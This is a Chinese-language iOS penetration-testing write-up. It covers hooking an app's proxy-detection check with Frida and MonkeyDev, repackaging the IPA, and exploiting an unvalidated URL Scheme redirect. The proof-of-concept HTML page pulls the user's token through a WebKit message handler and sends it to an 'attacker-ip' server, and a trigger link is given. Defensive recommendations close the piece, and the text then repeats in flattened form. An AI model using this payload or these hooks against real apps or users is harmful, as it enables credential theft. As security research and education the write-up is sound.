一次iOS App渗透测试
字数 1321 2025-08-25 22:58:20

iOS App渗透测试实战指南

1. 代理检测绕过技术

1.1 检测代理检测机制

当iOS App设置代理后无法正常通信时,可能是由于App实现了代理检测机制。常见检测方法包括:

  • getProxyStatus方法
  • CFNetworkCopySystemProxySettings()函数调用

1.2 反编译分析

  1. 使用iDA反编译ipa包的可执行文件
  2. 在Functions窗口搜索关键词"proxy"
  3. 定位到关键检测函数,如示例中的:
bool __cdecl -[XXXXManager getProxyStatus](SPBllHTTPClientManager *self, SEL a2)
{
  v2 = CFNetworkCopySystemProxySettings();
  ...
  return v19 ^ 1;
}

1.3 绕过方案

  1. Hook关键函数:使用Frida或MonkeyDev Hook getProxyStatusCFNetworkCopySystemProxySettings(),强制返回NO
  2. 重打包注意事项
    • 企业签名App需要先砸壳Dump
    • 使用frida-ios-dump提取未签名ipa
    • 通过xCode新建MonkeyDev项目自签名

1.4 常见问题解决

闪退问题分析

  1. 查看日志方法:
    • xCode日志框
    • MacOS控制台应用
  2. 示例错误:-[NSFileManager copyItemAtPath:toPath:options:error:]: destination path is nil'
  3. 解决方案:
    • 溯源找到调用函数(如saveXXXPath:toFile:
    • 审阅代码逻辑,发现重打包导致参数为空
    • Hook问题函数使其变为空函数

2. URL Scheme凭证盗取漏洞

2.1 漏洞原理

  • 通过URL Scheme实现任意URL跳转
  • 跳转过程中携带当前账号的敏感信息(如cookie/token)

2.2 漏洞检测流程

2.2.1 识别URL Scheme

使用工具如Passionfruit识别App注册的URL Scheme,例如:

Wechat: wx80e3244447ca12ce://
QQ: QQ41e56440://
tencent: tencent101428815://
sina: wb3173063210://
bxtest://

2.2.2 分析处理逻辑

  1. application:openurl:options入口跟进
  2. 定位到关键处理函数(如+[RouteMediator handleOpenURL:]
  3. 检查是否存在未过滤的url参数:
v78 = objc_msgSend(v12, "objectForKey:", CFSTR("url"));
v79 = (struct objc_object *)objc_retainAutoreleasedReturnValue(v78);
...
v84 = ((id (__cdecl *)(RouteMediator_meta *, SEL, id, id, bool))objc_msgSend)(
        (RouteMediator_meta *)&OBJC_CLASS___RouteMediator,
        "getProcessedFinalUrl:params:loginStatus:",
        v79,
        v12,
        v83);

2.3 漏洞利用

2.3.1 构造恶意POC

<html>
<head>
  <script type="text/javascript">
    window.success = msg =>{
      xmlHttp = new XMLHttpRequest();
      xmlHttp.open('GET', 'http://attacker-ip:8899/' + msg, true);
      xmlHttp.send()
    }
    window.webkit.messageHandlers.execute.postMessage(['UserInfo', 'getToken', '', 'success', 'failure']);
  </script>
</head>
<body>
  <p>test</p>
</body>
</html>

2.3.2 触发方式

在Safari中访问构造的URL Scheme:

bxtest://web?target=web&url=http://attacker-server/poc.html

2.3.3 效果验证

  • 受害者点击链接后自动跳转到App
  • 恶意页面获取敏感信息并发送到攻击者服务器
  • 在web服务器日志中查看窃取的token等信息

3. 关键工具和技术

3.1 必要工具

  1. 反编译工具:iDA
  2. 动态分析工具:Frida、MonkeyDev
  3. 抓包工具:Burp Suite
  4. URL Scheme分析:Passionfruit
  5. 砸壳工具:frida-ios-dump

3.2 Hook代码示例

CHDeclareClass(XXXManager)
CHOptimizedMethod2(self, void, XXXManager, saveXXXPath, NSString *, arg1, toFile, NSString *, arg2) {
}

CHDeclareClass(XXXXManager)
CHOptimizedMethod0(self, BOOL, XXXXManager, getProxyStatus){
    return NO;
}

CHConstructor{
    CHLoadLateClass(XXXManager);
    CHClassHook2(XXXManager, saveXXXPath, toFile);
    CHLoadLateClass(XXXXManager);
    CHClassHook0(XXXXManager, getProxyStatus);
}

4. 防御建议

4.1 代理检测绕过防御

  • 使用多层次的代理检测机制
  • 关键逻辑放在服务端验证
  • 混淆检测代码增加逆向难度

4.2 URL Scheme安全

  1. 严格校验URL Scheme参数
  2. 禁止携带敏感信息的自动跳转
  3. 实现白名单机制限制可跳转的域名
  4. 跳转前明确用户确认环节

4.3 通用安全建议

  • 加强代码混淆
  • 实现反调试机制
  • 敏感操作增加二次验证
  • 定期进行安全审计和渗透测试
iOS App渗透测试实战指南 1. 代理检测绕过技术 1.1 检测代理检测机制 当iOS App设置代理后无法正常通信时,可能是由于App实现了代理检测机制。常见检测方法包括: getProxyStatus 方法 CFNetworkCopySystemProxySettings() 函数调用 1.2 反编译分析 使用iDA反编译ipa包的可执行文件 在Functions窗口搜索关键词"proxy" 定位到关键检测函数,如示例中的: 1.3 绕过方案 Hook关键函数 :使用Frida或MonkeyDev Hook getProxyStatus 或 CFNetworkCopySystemProxySettings() ,强制返回NO 重打包注意事项 : 企业签名App需要先砸壳Dump 使用frida-ios-dump提取未签名ipa 通过xCode新建MonkeyDev项目自签名 1.4 常见问题解决 闪退问题分析 : 查看日志方法: xCode日志框 MacOS控制台应用 示例错误: -[NSFileManager copyItemAtPath:toPath:options:error:]: destination path is nil' 解决方案: 溯源找到调用函数(如 saveXXXPath:toFile: ) 审阅代码逻辑,发现重打包导致参数为空 Hook问题函数使其变为空函数 2. URL Scheme凭证盗取漏洞 2.1 漏洞原理 通过URL Scheme实现任意URL跳转 跳转过程中携带当前账号的敏感信息(如cookie/token) 2.2 漏洞检测流程 2.2.1 识别URL Scheme 使用工具如Passionfruit识别App注册的URL Scheme,例如: 2.2.2 分析处理逻辑 从 application:openurl:options 入口跟进 定位到关键处理函数(如 +[RouteMediator handleOpenURL:] ) 检查是否存在未过滤的url参数: 2.3 漏洞利用 2.3.1 构造恶意POC 2.3.2 触发方式 在Safari中访问构造的URL Scheme: 2.3.3 效果验证 受害者点击链接后自动跳转到App 恶意页面获取敏感信息并发送到攻击者服务器 在web服务器日志中查看窃取的token等信息 3. 关键工具和技术 3.1 必要工具 反编译工具 :iDA 动态分析工具 :Frida、MonkeyDev 抓包工具 :Burp Suite URL Scheme分析 :Passionfruit 砸壳工具 :frida-ios-dump 3.2 Hook代码示例 4. 防御建议 4.1 代理检测绕过防御 使用多层次的代理检测机制 关键逻辑放在服务端验证 混淆检测代码增加逆向难度 4.2 URL Scheme安全 严格校验URL Scheme参数 禁止携带敏感信息的自动跳转 实现白名单机制限制可跳转的域名 跳转前明确用户确认环节 4.3 通用安全建议 加强代码混淆 实现反调试机制 敏感操作增加二次验证 定期进行安全审计和渗透测试